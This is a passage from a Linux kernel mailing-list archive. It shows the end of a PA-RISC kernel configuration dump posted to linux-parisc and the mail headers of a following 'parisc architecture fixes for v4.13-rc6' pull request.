# CONFIG_TUN_VNET_CROSS_LE is not set
# CONFIG_VETH is not set
# CONFIG_NLMON is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_ALTERA_TSE is not set
# CONFIG_NET_VENDOR_AMAZON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_VENDOR_AURORA is not set
# CONFIG_NET_CADENCE is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=y
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
CONFIG_TULIP_MWI=y
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_MDIO_DEVICE is not set
# CONFIG_MDIO_BUS is not set
# CONFIG_PHYLIB is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Host-side USB support is needed for USB Network Adapter support
#
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_NVM is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set
# CONFIG_RMI4_CORE is not set

#
# Hardware I/O ports
#
# CONFIG_SERIO is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVMEM=y
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_EXAR=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
# CONFIG_SERIAL_8250_EXTENDED is not set
# CONFIG_SERIAL_8250_FSL is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
# CONFIG_SERIAL_8250_MOXA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_UARTLITE is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_DEV_BUS is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_XILLYBUS is not set

#
# I2C support
#
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
# CONFIG_PPS is not set

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_GPIOLIB is not set
# CONFIG_W1 is not set
# CONFIG_POWER_AVS is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set

#
# ACP (Audio CoProcessor) Configuration
#
# CONFIG_DRM_LIB_RANDOM is not set

#
# Frame buffer Devices
#
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set
# CONFIG_VGASTATE is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_SOUND is not set

#
# HID support
#
# CONFIG_HID is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set
CONFIG_RTC_NVMEM=y

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#

#
# SPI RTC drivers
#

#
# SPI and I2C RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_RTC_DRV_FTRTC010 is not set

#
# HID Sensor RTC drivers
#
# CONFIG_DMADEVICES is not set

#
# DMABUF options
#
# CONFIG_SYNC_FILE is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_HYPERV_TSCPAGE is not set
# CONFIG_STAGING is not set
# CONFIG_HWSPINLOCK is not set

#
# Clock Source drivers
#
# CONFIG_ATMEL_PIT is not set
# CONFIG_SH_TIMER_CMT is not set
# CONFIG_SH_TIMER_MTU2 is not set
# CONFIG_SH_TIMER_TMU is not set
# CONFIG_EM_TIMER_STI is not set
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set

#
# Rpmsg drivers
#

#
# SOC (System On Chip) specific Drivers
#

#
# Broadcom SoC drivers
#

#
# i.MX SoC drivers
#
# CONFIG_SUNXI_SRAM is not set
# CONFIG_SOC_TI is not set
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_NTB is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
CONFIG_ARM_GIC_MAX_NR=1
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# PHY Subsystem
#
# CONFIG_GENERIC_PHY is not set
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set
# CONFIG_RAS is not set

#
# Android
#
# CONFIG_ANDROID is not set
# CONFIG_DAX is not set
CONFIG_NVMEM=y
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set

#
# FPGA Configuration Support
#
# CONFIG_FPGA is not set

#
# FSI support
#
# CONFIG_FSI is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_ENCRYPTION is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_F2FS_FS is not set
# CONFIG_FS_DAX is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
# CONFIG_EXPORTFS_BLOCK_OPS is not set
CONFIG_FILE_LOCKING=y
CONFIG_MANDATORY_FILE_LOCKING=y
# CONFIG_FS_ENCRYPTION is not set
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set
# CONFIG_OVERLAY_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
# CONFIG_PROC_KCORE is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
# CONFIG_PROC_CHILDREN is not set
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
CONFIG_HUGETLBFS=y
CONFIG_HUGETLB_PAGE=y
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
# CONFIG_NLS is not set

#
# Kernel hacking
#

#
# printk and dmesg options
#
# CONFIG_PRINTK_TIME is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_PAGE_OWNER is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
# CONFIG_FRAME_POINTER is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1
CONFIG_MAGIC_SYSRQ_SERIAL=y
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_PAGE_EXTENSION is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_PAGE_POISONING is not set
CONFIG_DEBUG_RODATA_TEST=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
CONFIG_DEBUG_STACK_USAGE=y
# CONFIG_DEBUG_VM is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_STACKOVERFLOW is not set
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_WQ_WATCHDOG=y
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_PANIC_TIMEOUT=0
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHED_INFO is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_SCHED_STACK_END_CHECK is not set
# CONFIG_DEBUG_TIMEKEEPING is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_STACKTRACE is not set
CONFIG_WARN_ALL_UNSEEDED_RANDOM=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_PI_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_PROVE_RCU is not set
# CONFIG_TORTURE_TEST is not set
# CONFIG_RCU_PERF_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_RCU_EQS_DEBUG is not set
# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_TRACING_SUPPORT=y
# CONFIG_FTRACE is not set

#
# Runtime Testing
#
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_TEST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_PRINTF is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_UUID is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_HASH is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_USER_COPY is not set
# CONFIG_TEST_BPF is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_MEMTEST is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_BUG_ON_DATA_CORRUPTION is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_SAMPLES is not set
# CONFIG_ARCH_WANTS_UBSAN_NO_NULL is not set
CONFIG_UBSAN=y
CONFIG_UBSAN_ALIGNMENT=y
CONFIG_UBSAN_NULL=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
# CONFIG_SECCOMP is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
# CONFIG_CRYPTO_RSA is not set
# CONFIG_CRYPTO_DH is not set
# CONFIG_CRYPTO_ECDH is not set
# CONFIG_CRYPTO_MANAGER is not set
# CONFIG_CRYPTO_MANAGER2 is not set
# CONFIG_CRYPTO_USER is not set
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_MCRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_CHACHA20POLY1305 is not set
# CONFIG_CRYPTO_SEQIV is not set
# CONFIG_CRYPTO_ECHAINIV is not set

#
# Block modes
#
# CONFIG_CRYPTO_CBC is not set
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_KEYWRAP is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_CRCT10DIF is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_POLY1305 is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_SHA3 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_AES_TI is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_CHACHA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_842 is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_DRBG_MENU is not set
# CONFIG_CRYPTO_JITTERENTROPY is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set
# CONFIG_CRYPTO_HW is not set

#
# Certificates for signature checking
#
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_HAVE_ARCH_BITREVERSE is not set
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC4 is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
# CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set
# CONFIG_RANDOM32_SELFTEST is not set
# CONFIG_XZ_DEC is not set
# CONFIG_XZ_DEC_BCJ is not set
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DQL=y
CONFIG_NLATTR=y
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set
# CONFIG_IRQ_POLL is not set
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SG_SPLIT is not set
CONFIG_SG_POOL=y
# CONFIG_ARCH_HAS_SG_CHAIN is not set
CONFIG_SBITMAP=y

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for v4.13-rc6
Date: Thu, 17 Aug 2017 20:28:13 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20170817182813.GA1426@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502994510 27461 195.159.176.226 (17 Aug 2017 18:28:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 18:28:30 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 20:28:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1diPWj-0005Ep-Kv
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 20:28:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752671AbdHQS2Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Aug 2017 14:28:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:54622 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752236AbdHQS2X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Aug 2017 14:28:23 -0400
Original-Received: from p100.box ([193.159.30.227]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSv6D-1e7KvK3pNV-00RomO; Thu, 17
 Aug 2017 20:28:16 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Hu+qqjlSUhxLMLtNZFBWrOIsDmCaRjyhVgj33cdu11LlWl3K2QU
 nIkkKbP+T0A14LMUI9gq3VPvNmdm/QCQC2m3Dr+n8mKnp2ir8nEHl3oEIDfwTW7FmCdSlhs
 jUPsX8xfNdXRBmCWhv76gk/mDpbg9WXb9hi4EH9hAWOnJTCLTS3H3qUaUymX2/JynQLd25z
 edJpPWji09wEGVBM6vpUQ==
